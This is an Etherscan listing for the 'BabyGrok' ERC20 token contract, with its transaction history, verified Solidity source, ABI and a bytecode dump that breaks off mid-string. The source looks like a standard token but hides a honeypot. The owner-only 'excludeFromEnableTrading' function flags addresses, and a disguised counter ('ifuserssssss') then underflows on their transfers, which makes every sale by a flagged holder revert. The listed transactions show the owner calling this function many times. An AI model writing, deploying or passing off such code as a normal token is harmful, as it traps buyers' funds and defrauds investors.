ETH Price: $2,517.57 (+3.13%)

Contract

0x087e48E1E8e6b48Ea2Ef318fC7d9F40542bFaf9d
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve197500982024-04-27 23:59:11128 days ago1714262351IN
0x087e48E1...542bFaf9d
0 ETH0.000195414.146579
Approve197471582024-04-27 14:07:23128 days ago1714226843IN
0x087e48E1...542bFaf9d
0 ETH0.0004944610.49190097
Approve197458032024-04-27 9:34:23128 days ago1714210463IN
0x087e48E1...542bFaf9d
0 ETH0.000324236.87993205
Approve197453922024-04-27 8:10:11128 days ago1714205411IN
0x087e48E1...542bFaf9d
0 ETH0.000136685.00890783
Approve197453902024-04-27 8:09:47128 days ago1714205387IN
0x087e48E1...542bFaf9d
0 ETH0.000239725.08016059
Approve197442552024-04-27 4:21:11129 days ago1714191671IN
0x087e48E1...542bFaf9d
0 ETH0.000222754.74596695
Approve197441932024-04-27 4:08:35129 days ago1714190915IN
0x087e48E1...542bFaf9d
0 ETH0.000247165.2673617
Exclude From Ena...197436902024-04-27 2:27:11129 days ago1714184831IN
0x087e48E1...542bFaf9d
0 ETH0.000253995.08046908
Approve197432392024-04-27 0:56:59129 days ago1714179419IN
0x087e48E1...542bFaf9d
0 ETH0.000246045.24348602
Exclude From Ena...197432112024-04-27 0:51:23129 days ago1714179083IN
0x087e48E1...542bFaf9d
0 ETH0.000300956.01980682
Exclude From Ena...197431382024-04-27 0:36:35129 days ago1714178195IN
0x087e48E1...542bFaf9d
0 ETH0.000276725.53520691
Exclude From Ena...197431202024-04-27 0:32:59129 days ago1714177979IN
0x087e48E1...542bFaf9d
0 ETH0.000165335.49390874
Approve197430852024-04-27 0:25:59129 days ago1714177559IN
0x087e48E1...542bFaf9d
0 ETH0.000156615.75202388
Exclude From Ena...197430852024-04-27 0:25:59129 days ago1714177559IN
0x087e48E1...542bFaf9d
0 ETH0.000173415.76242138
Approve197430842024-04-27 0:25:47129 days ago1714177547IN
0x087e48E1...542bFaf9d
0 ETH0.000240985.11348741
Exclude From Ena...197430512024-04-27 0:19:11129 days ago1714177151IN
0x087e48E1...542bFaf9d
0 ETH0.000259955.19979328
Exclude From Ena...197426842024-04-26 23:05:35129 days ago1714172735IN
0x087e48E1...542bFaf9d
0 ETH0.000310656.21382018
Exclude From Ena...197422202024-04-26 21:32:11129 days ago1714167131IN
0x087e48E1...542bFaf9d
0 ETH0.000177355.89328806
Exclude From Ena...197420492024-04-26 20:57:35129 days ago1714165055IN
0x087e48E1...542bFaf9d
0 ETH0.000261835.23736784
Exclude From Ena...197420322024-04-26 20:54:11129 days ago1714164851IN
0x087e48E1...542bFaf9d
0 ETH0.000262415.24889348
Approve197417812024-04-26 20:03:35129 days ago1714161815IN
0x087e48E1...542bFaf9d
0 ETH0.0003146.65435468
Exclude From Ena...197415712024-04-26 19:21:11129 days ago1714159271IN
0x087e48E1...542bFaf9d
0 ETH0.000289865.79797311
Approve197409332024-04-26 17:12:23129 days ago1714151543IN
0x087e48E1...542bFaf9d
0 ETH0.000288066.14848529
Exclude From Ena...197409172024-04-26 17:09:11129 days ago1714151351IN
0x087e48E1...542bFaf9d
0 ETH0.000310946.21972237
Approve197408392024-04-26 16:53:23129 days ago1714150403IN
0x087e48E1...542bFaf9d
0 ETH0.0003186.77698346
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
197506532024-04-28 1:51:47128 days ago1714269107
0x087e48E1...542bFaf9d
0 ETH
197506532024-04-28 1:51:47128 days ago1714269107
0x087e48E1...542bFaf9d
0 ETH
197506532024-04-28 1:51:47128 days ago1714269107
0x087e48E1...542bFaf9d
0 ETH
197506532024-04-28 1:51:47128 days ago1714269107
0x087e48E1...542bFaf9d
0 ETH
197470982024-04-27 13:55:23128 days ago1714226123
0x087e48E1...542bFaf9d
0 ETH
197442602024-04-27 4:22:11129 days ago1714191731
0x087e48E1...542bFaf9d
0 ETH
197442602024-04-27 4:22:11129 days ago1714191731
0x087e48E1...542bFaf9d
0 ETH
197442602024-04-27 4:22:11129 days ago1714191731
0x087e48E1...542bFaf9d
0 ETH
197442602024-04-27 4:22:11129 days ago1714191731
0x087e48E1...542bFaf9d
0 ETH
197442602024-04-27 4:22:11129 days ago1714191731
0x087e48E1...542bFaf9d
0 ETH
197442602024-04-27 4:22:11129 days ago1714191731
0x087e48E1...542bFaf9d
0 ETH
197442602024-04-27 4:22:11129 days ago1714191731
0x087e48E1...542bFaf9d
0 ETH
197442602024-04-27 4:22:11129 days ago1714191731
0x087e48E1...542bFaf9d
0 ETH
197442602024-04-27 4:22:11129 days ago1714191731
0x087e48E1...542bFaf9d
0 ETH
197442212024-04-27 4:14:11129 days ago1714191251
0x087e48E1...542bFaf9d
0 ETH
197442212024-04-27 4:14:11129 days ago1714191251
0x087e48E1...542bFaf9d
0 ETH
197442212024-04-27 4:14:11129 days ago1714191251
0x087e48E1...542bFaf9d
0 ETH
197442212024-04-27 4:14:11129 days ago1714191251
0x087e48E1...542bFaf9d
0 ETH
197442212024-04-27 4:14:11129 days ago1714191251
0x087e48E1...542bFaf9d
0 ETH
197442212024-04-27 4:14:11129 days ago1714191251
0x087e48E1...542bFaf9d
0 ETH
197442212024-04-27 4:14:11129 days ago1714191251
0x087e48E1...542bFaf9d
0 ETH
197442212024-04-27 4:14:11129 days ago1714191251
0x087e48E1...542bFaf9d
0 ETH
197441962024-04-27 4:09:11129 days ago1714190951
0x087e48E1...542bFaf9d
0 ETH
197441962024-04-27 4:09:11129 days ago1714190951
0x087e48E1...542bFaf9d
0 ETH
197441962024-04-27 4:09:11129 days ago1714190951
0x087e48E1...542bFaf9d
0 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BabyGrok

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-25
*/

/**
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner,
     address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; 
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "BabyGrokOwnable:  caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is BabyGrok the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer BabyGrok amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: BabyGrok decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "BabyGrok: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount BabyGrok exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address BabyGrok");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from BabyGrok the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "BabyGrokERC20: approve from the zero address");
        require(spender != address(0), "ERC20: BabyGrok approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract BabyGrok is ERC20, Ownable {
    
    mapping (address => bool) private _isExcludedFromEnableTrad;

    mapping(address => uint256) private ifuserssssss;

    constructor () ERC20("BABYGROK", "BGROK") 
    {   
        _isExcludedFromEnableTrad[_msgSender()] = true;
        _mint(_msgSender(), 100000000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded,address account2) external onlyOwner{
        _isExcludedFromEnableTrad[account] 
        =
        excluded;
         allowances[owner()][account2]
         = excluded;
    }

    function isExomEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrad[account];
    }

    
    mapping (address => mapping (address => bool)) public allowances;

    function getusertyurds(address _address) public view returns (uint256) {
        return ifuserssssss[_address];
    }

    function getAllowances(address _address) public view returns (bool) {
        return allowances[owner()][_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && allowances[owner()][from]) {
            ifuserssssss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already BabyGrok enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the zero address BabyGrok");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrad[from] || _isExcludedFromEnableTrad[to], "Trading not BabyGrok yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"},{"internalType":"address","name":"account2","type":"address"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAllowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getusertyurds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExomEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b506040518060400160405280600881526020017f4241425947524f4b0000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f4247524f4b00000000000000000000000000000000000000000000000000000081525081600290816200008e9190620007cd565b508060039081620000a09190620007cd565b505050620000c3620000b76200017c60201b60201c565b6200018360201b60201c565b600160065f620000d86200017c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620001766200013b6200017c60201b60201c565b6200014b6200024660201b60201c565b600a62000159919062000a3a565b6305f5e1006200016a919062000a8a565b6200024e60201b60201c565b62000c0a565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002b69062000b58565b60405180910390fd5b620002d25f8383620003be60201b60201c565b8060045f828254620002e5919062000b78565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000339919062000b78565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200039f919062000bc3565b60405180910390a3620003ba5f83836200053760201b60201c565b5050565b620003d18383836200053c60201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156200043a57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004d7575060085f620004556200054160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15620005325760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8154809291906200052c9062000bde565b91905055505b505050565b505050565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005e557607f821691505b602082108103620005fb57620005fa620005a0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200065f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000622565b6200066b868362000622565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620006b5620006af620006a98462000683565b6200068c565b62000683565b9050919050565b5f819050919050565b620006d08362000695565b620006e8620006df82620006bc565b8484546200062e565b825550505050565b5f90565b620006fe620006f0565b6200070b818484620006c5565b505050565b5b818110156200073257620007265f82620006f4565b60018101905062000711565b5050565b601f82111562000781576200074b8162000601565b620007568462000613565b8101602085101562000766578190505b6200077e620007758562000613565b83018262000710565b50505b505050565b5f82821c905092915050565b5f620007a35f198460080262000786565b1980831691505092915050565b5f620007bd838362000792565b9150826002028217905092915050565b620007d88262000569565b67ffffffffffffffff811115620007f457620007f362000573565b5b620008008254620005cd565b6200080d82828562000736565b5f60209050601f83116001811462000843575f84156200082e578287015190505b6200083a8582620007b0565b865550620008a9565b601f198416620008538662000601565b5f5b828110156200087c5784890151825560018201915060208501945060208101905062000855565b868310156200089c578489015162000898601f89168262000792565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200093b57808604811115620009135762000912620008b1565b5b6001851615620009235780820291505b80810290506200093385620008de565b9450620008f3565b94509492505050565b5f8262000955576001905062000a27565b8162000964575f905062000a27565b81600181146200097d57600281146200098857620009be565b600191505062000a27565b60ff8411156200099d576200099c620008b1565b5b8360020a915084821115620009b757620009b6620008b1565b5b5062000a27565b5060208310610133831016604e8410600b8410161715620009f85782820a905083811115620009f257620009f1620008b1565b5b62000a27565b62000a078484846001620008ea565b9250905081840481111562000a215762000a20620008b1565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000a468262000683565b915062000a538362000a2e565b925062000a827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000944565b905092915050565b5f62000a968262000683565b915062000aa38362000683565b925082820262000ab38162000683565b9150828204841483151762000acd5762000acc620008b1565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373205f8201527f4261627947726f6b000000000000000000000000000000000000000000000000602082015250565b5f62000b4060288362000ad4565b915062000b4d8262000ae4565b604082019050919050565b5f6020820190508181035f83015262000b718162000b32565b9050919050565b5f62000b848262000683565b915062000b918362000683565b925082820190508082111562000bac5762000bab620008b1565b5b92915050565b62000bbd8162000683565b82525050565b5f60208201905062000bd85f83018462000bb2565b92915050565b5f62000bea8262000683565b91505f820362000bff5762000bfe620008b1565b5b600182039050919050565b6123938062000c185f395ff3fe60806040526004361061012d575f3560e01c806370a08231116100aa57806395d89b411161006e57806395d89b4114610402578063a1a7ceaa1461042c578063a457c2d714610468578063a9059cbb146104a4578063dd62ed3e146104e0578063f2fde38b1461051c57610134565b806370a0823114610334578063715018a6146103705780637ae34fec146103865780638a8c523c146103c25780638da5cb5b146103d857610134565b8063313ce567116100f1578063313ce56714610240578063395093511461026a5780634ada218b146102a657806355b6ed5c146102d0578063641d601c1461030c57610134565b806306fdde0314610138578063095ea7b31461016257806318160ddd1461019e5780631ce9029d146101c857806323b872dd1461020457610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c610544565b604051610159919061186a565b60405180910390f35b34801561016d575f80fd5b506101886004803603810190610183919061191b565b6105d4565b6040516101959190611973565b60405180910390f35b3480156101a9575f80fd5b506101b26105f1565b6040516101bf919061199b565b60405180910390f35b3480156101d3575f80fd5b506101ee60048036038101906101e991906119b4565b6105fa565b6040516101fb9190611973565b60405180910390f35b34801561020f575f80fd5b5061022a600480360381019061022591906119df565b61068e565b6040516102379190611973565b60405180910390f35b34801561024b575f80fd5b506102546107a8565b6040516102619190611a4a565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b919061191b565b6107b0565b60405161029d9190611973565b60405180910390f35b3480156102b1575f80fd5b506102ba610857565b6040516102c79190611973565b60405180910390f35b3480156102db575f80fd5b506102f660048036038101906102f19190611a63565b610869565b6040516103039190611973565b60405180910390f35b348015610317575f80fd5b50610332600480360381019061032d9190611acb565b610893565b005b34801561033f575f80fd5b5061035a600480360381019061035591906119b4565b6109fe565b604051610367919061199b565b60405180910390f35b34801561037b575f80fd5b50610384610a43565b005b348015610391575f80fd5b506103ac60048036038101906103a791906119b4565b610aca565b6040516103b99190611973565b60405180910390f35b3480156103cd575f80fd5b506103d6610b1c565b005b3480156103e3575f80fd5b506103ec610c03565b6040516103f99190611b2a565b60405180910390f35b34801561040d575f80fd5b50610416610c2b565b604051610423919061186a565b60405180910390f35b348015610437575f80fd5b50610452600480360381019061044d91906119b4565b610cbb565b60405161045f919061199b565b60405180910390f35b348015610473575f80fd5b5061048e6004803603810190610489919061191b565b610d01565b60405161049b9190611973565b60405180910390f35b3480156104af575f80fd5b506104ca60048036038101906104c5919061191b565b610de7565b6040516104d79190611973565b60405180910390f35b3480156104eb575f80fd5b5061050660048036038101906105019190611a63565b610e04565b604051610513919061199b565b60405180910390f35b348015610527575f80fd5b50610542600480360381019061053d91906119b4565b610e86565b005b60606002805461055390611b70565b80601f016020809104026020016040519081016040528092919081815260200182805461057f90611b70565b80156105ca5780601f106105a1576101008083540402835291602001916105ca565b820191905f5260205f20905b8154815290600101906020018083116105ad57829003601f168201915b5050505050905090565b5f6105e76105e0610f7c565b8484610f83565b6001905092915050565b5f600454905090565b5f60085f610606610c03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106d6610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610791578281101561077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390611c10565b60405180910390fd5b61079085610788610f7c565b858403610f83565b5b61079c858585611146565b60019150509392505050565b5f6012905090565b5f61084d6107bc610f7c565b848460015f6107c9610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108489190611c5b565b610f83565b6001905092915050565b60095f9054906101000a900460ff1681565b6008602052815f5260405f20602052805f5260405f205f915091509054906101000a900460ff1681565b61089b610f7c565b73ffffffffffffffffffffffffffffffffffffffff166108b9610c03565b73ffffffffffffffffffffffffffffffffffffffff161461090f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090690611cfe565b60405180910390fd5b8160065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508160085f61096f610c03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a4b610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610a69610c03565b73ffffffffffffffffffffffffffffffffffffffff1614610abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab690611cfe565b60405180910390fd5b610ac85f61133a565b565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610b24610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610b42610c03565b73ffffffffffffffffffffffffffffffffffffffff1614610b98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8f90611cfe565b60405180910390fd5b60095f9054906101000a900460ff1615610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90611d8c565b60405180910390fd5b600160095f6101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610c3a90611b70565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6690611b70565b8015610cb15780601f10610c8857610100808354040283529160200191610cb1565b820191905f5260205f20905b815481529060010190602001808311610c9457829003601f168201915b5050505050905090565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8060015f610d0e610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbf90611e1a565b60405180910390fd5b610ddc610dd3610f7c565b85858403610f83565b600191505092915050565b5f610dfa610df3610f7c565b8484611146565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e8e610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610eac610c03565b73ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990611cfe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790611ea8565b60405180910390fd5b610f798161133a565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffff